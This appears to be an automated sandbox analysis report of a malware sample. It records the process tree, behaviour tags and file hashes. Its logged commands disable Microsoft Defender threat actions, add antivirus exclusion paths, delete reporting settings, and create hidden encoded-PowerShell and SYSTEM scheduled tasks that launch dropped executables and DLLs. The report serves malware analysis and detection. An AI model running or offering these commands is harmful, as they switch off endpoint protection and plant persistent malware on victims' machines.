C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;"2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3992 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:323⤵
- Suspicious use of WriteProcessMemory
PID:4744 -
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:324⤵PID:4536
-
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:643⤵PID:3804
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:323⤵PID:3136
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:643⤵PID:3088
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:323⤵PID:796
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:643⤵PID:876
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:323⤵PID:600
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:643⤵PID:2132
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:323⤵PID:188
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:643⤵PID:1056
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:323⤵PID:1240
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:643⤵PID:4080
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:323⤵PID:416
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:643⤵PID:3504
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:323⤵PID:2456
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:643⤵PID:3624
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:323⤵PID:4856
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:643⤵PID:996
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:323⤵PID:4296
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:643⤵PID:4236
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:323⤵PID:4936
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:643⤵PID:1248
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:323⤵PID:2836
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:643⤵PID:4884
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\HfRzpGoZdXlLC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\HfRzpGoZdXlLC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\SwRXyKSuiqUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\SwRXyKSuiqUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\limZEkPpJqIcfAIjpdR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\limZEkPpJqIcfAIjpdR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\nsuZAQdrghCU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\nsuZAQdrghCU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\yykKlvReU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\yykKlvReU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\CibixDFbcWRMdyVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\CibixDFbcWRMdyVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\VhztSrljyzmivhIKo\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\VhztSrljyzmivhIKo\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\qVaqezGlZAbesrHk\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\qVaqezGlZAbesrHk\" /t REG_DWORD /d 0 /reg:64;"2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1880 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\HfRzpGoZdXlLC" /t REG_DWORD /d 0 /reg:323⤵PID:1844
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\HfRzpGoZdXlLC" /t REG_DWORD /d 0 /reg:324⤵PID:3088
-
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\HfRzpGoZdXlLC" /t REG_DWORD /d 0 /reg:643⤵PID:796
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\SwRXyKSuiqUn" /t REG_DWORD /d 0 /reg:323⤵PID:876
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\SwRXyKSuiqUn" /t REG_DWORD /d 0 /reg:643⤵PID:600
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\limZEkPpJqIcfAIjpdR" /t REG_DWORD /d 0 /reg:323⤵PID:2132
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\limZEkPpJqIcfAIjpdR" /t REG_DWORD /d 0 /reg:643⤵PID:188
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\nsuZAQdrghCU2" /t REG_DWORD /d 0 /reg:323⤵PID:1056
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\nsuZAQdrghCU2" /t REG_DWORD /d 0 /reg:643⤵PID:1240
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\yykKlvReU" /t REG_DWORD /d 0 /reg:323⤵PID:4080
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\yykKlvReU" /t REG_DWORD /d 0 /reg:643⤵PID:416
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\CibixDFbcWRMdyVB /t REG_DWORD /d 0 /reg:323⤵PID:3504
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\CibixDFbcWRMdyVB /t REG_DWORD /d 0 /reg:643⤵PID:2456
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\VhztSrljyzmivhIKo /t REG_DWORD /d 0 /reg:323⤵PID:3624
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\VhztSrljyzmivhIKo /t REG_DWORD /d 0 /reg:643⤵PID:4856
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\qVaqezGlZAbesrHk /t REG_DWORD /d 0 /reg:323⤵PID:996
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\qVaqezGlZAbesrHk /t REG_DWORD /d 0 /reg:643⤵PID:4296
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "gDtsfYVHS" /SC once /ST 03:47:28 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="2⤵
- Creates scheduled task(s)
PID:1540
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "gDtsfYVHS"2⤵PID:3032
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "gDtsfYVHS"2⤵PID:4528
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "YVCmYdBSuaIWyTrHH" /SC once /ST 06:26:11 /RU "SYSTEM" /TR "\"C:\Windows\Temp\qVaqezGlZAbesrHk\EOvtclRmVIhwSLY\BojCwZG.exe\" tI /site_id 757674 /S" /V1 /F2⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:4456
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "YVCmYdBSuaIWyTrHH"2⤵PID:876
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3608 -
C:\Windows\system32\gpupdate.exe"C:\Windows\system32\gpupdate.exe" /force2⤵PID:4616
-
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s fhsvc1⤵PID:4768
-
\??\c:\windows\system32\gpscript.exegpscript.exe /RefreshSystemParam1⤵PID:4448
-
C:\Windows\Temp\qVaqezGlZAbesrHk\EOvtclRmVIhwSLY\BojCwZG.exeC:\Windows\Temp\qVaqezGlZAbesrHk\EOvtclRmVIhwSLY\BojCwZG.exe tI /site_id 757674 /S1⤵
- Executes dropped EXE
- Checks computer location settings
- Drops Chrome extension
- Drops desktop.ini file(s)
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:200 -
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "bblowJjXcZklwGXFpR"2⤵PID:2124
-
-
C:\Windows\SysWOW64\cmd.execmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:322⤵PID:1948
-
C:\Windows\SysWOW64\reg.exeREG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:323⤵PID:3516
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:642⤵PID:3536
-
C:\Windows\SysWOW64\reg.exeREG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:643⤵PID:4868
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\yykKlvReU\ImWrgF.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "otOdYFVhaXZHKZY" /V1 /F2⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:2732
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "otOdYFVhaXZHKZY2" /F /xml "C:\Program Files (x86)\yykKlvReU\PxVPbfL.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
PID:4396
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /END /TN "otOdYFVhaXZHKZY"2⤵PID:2836
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "otOdYFVhaXZHKZY"2⤵PID:4660
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "eFIVyLoJPRWjwT" /F /xml "C:\Program Files (x86)\nsuZAQdrghCU2\SEpyKGt.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
PID:3252
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "AXbxTetmrxDHV2" /F /xml "C:\ProgramData\CibixDFbcWRMdyVB\ojEDiTs.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
PID:4536
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "FWVuJymxMfzzKVctC2" /F /xml "C:\Program Files (x86)\limZEkPpJqIcfAIjpdR\cQwhBST.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
PID:4524
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "UMAJqebTZcpbcAcEvff2" /F /xml "C:\Program Files (x86)\HfRzpGoZdXlLC\sOMCihN.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
PID:1832
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "CJOPFnEZBIoRmfUAS" /SC once /ST 03:17:42 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\qVaqezGlZAbesrHk\HAKvQLVL\jzCmmpg.dll\",#1 /site_id 757674" /V1 /F2⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:32
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "CJOPFnEZBIoRmfUAS"2⤵PID:2212
-
-
C:\Windows\SysWOW64\cmd.execmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:322⤵PID:416
-
C:\Windows\SysWOW64\reg.exeREG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:323⤵PID:3624
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:642⤵PID:3272
-
C:\Windows\SysWOW64\reg.exeREG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:643⤵PID:4352
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "YVCmYdBSuaIWyTrHH"2⤵PID:1972
-
-
\??\c:\windows\system32\rundll32.EXEc:\windows\system32\rundll32.EXE "C:\Windows\Temp\qVaqezGlZAbesrHk\HAKvQLVL\jzCmmpg.dll",#1 /site_id 7576741⤵PID:3792
-
C:\Windows\SysWOW64\rundll32.exec:\windows\system32\rundll32.EXE "C:\Windows\Temp\qVaqezGlZAbesrHk\HAKvQLVL\jzCmmpg.dll",#1 /site_id 7576742⤵
- Blocklisted process makes network request
- Checks BIOS information in registry
- Loads dropped DLL
- Drops file in System32 directory
- Enumerates system info in registry
- Modifies data under HKEY_USERS
PID:5080 -
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "CJOPFnEZBIoRmfUAS"3⤵PID:4696
-
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
2KB
MD5d0d7596088fc76469122fee8b666edd5
SHA1b950eec2bfdb98d28c18d5fd02881dd5ed3b3996
SHA2569f6a95ca2198de77847457135c11d66937fd43a3859e8d310ef50e20ef257495
SHA5120db2142399a6988fb9f656f19ffbb90158a94610e87cc38ced7860801dca97589d627f8dc1669327dee4bd8e05b017e69814454b2a574103a01eaa5ca4b936db
-
Filesize
2KB
MD539a70bc653825854a16306912a6b3532
SHA1702e06f0ce5ed709b008368f6128d9a26b809ddd
SHA25677998b46812465b409510ee2f0678cba1dfd8dbf527b68062d8e89a2b6355094
SHA5122a42ca5fe0b4097fa6e7e549d890c3c7ffea0c9c2a893d92d2b07d66592a2da801313dc1deeea948c3c28e16fe2329e16a55f5cf600d252a65b577747030286a
-
Filesize
2KB
MD5c707a87a1b140b541b4462ee40547fc0
SHA1b4ce44db97f6bf432bee82a711dc1de2aa06ad9f
SHA2567d017b9ad4c0569f3f1f4ffcdefc101dac273ec21b0fbdb5f47bcc17a9664ad6
SHA512e3f3ddd75be91a038d340c0ec9aae0eb4fd2a0f90506acf43af4bb0c63e65fdbb8cda49a264ce354bb36449c8ae222117b9782c55d6b1296e048a466610290c1
-
Filesize
2KB
MD514124dfad7c9b11832ddffd75c5dafbd
SHA1d2c690b61ab3d291c9381be5de670b3078aaaf49
SHA256cd7c0936519a355c31d59592186b27c0f60f358def4c91071e2076ba084cd8ab
SHA512fb197cd162e771c68f450f0c8a1dab2803963518e99157b5cbf4d4897363d245fd90c7527db4937d362edaa56a933e9c4b5f4eccd104c2d93ec8a5bc0a9c181f
-
Filesize
2KB
MD5895cd264d6ebf1736ac953babdd6b766
SHA1412d2aeba086808c817444a287eb8e4c6fb23976
SHA256934988b7b6aff36be82049195ad67696fe2957d61b691444ad8a94fb0ea923c0
SHA512d16cd039aabb5d8b7525c338092953e679c2defc73c6a922f2e62e2878d3d39d4feabfbc970851d9ad6e8dd1f7c15f2c2cbb6c33c4f424ddcf124b09ee5b0ecc
-
Filesize
3KB
MD5f6c90ab0db80c6c3ea92556fda7273c7
SHA101d3866b1887cbb0abe9701f6b49c5dbc66a7dfa
SHA256a823c3b6f157c50315251d43db740ad37a736b967f0500e024e3a0f84192b269
SHA512aa6b71e3a8fa46702787d190e3633b1ead0f66cce81065fa2262dde59c683a7fc48846fa2b0bbe94a050564855fc7a79842f0abfa53cc3315e4c766b3c4c1fbe
-
Filesize
1KB
MD54c4c97060928e20eb46af96c4d5ee3f0
SHA11a6e61a9ab6cfcd1a93fdaa60272c0e8c1c6fa6b
SHA25681c1d7abdf171cc39aa25d0d71fccb527492bee7dd9d6af6d6166c29657653fd
SHA51292eb67cf053e8f02d1ef8e2e71eda77198eaed9c6d427d52580f08e7d7c0cc6f94cae70b6edbc485a6daa8c4ae89dfc4f9344d6b283e32a860d1ff80c9510bbf
-
Filesize
6.3MB
MD530207607094dbd2677a5ca9ef4266dca
SHA1b859d040c786f4dac74c1701111084706a34230d
SHA256894402040107bc8d47d2238a973556deb3f44e83a76d5fa84a13faa9c6c3ffc1
SHA51260cf85b92acfd6b7a232d3fc61ad7fc98cf6291516c3ed04bb916d40c60277518bb63271015b1425bcb7045a1aa452b64c1416d6aab536e3facf2486b9885fbb
-
Filesize
6.3MB
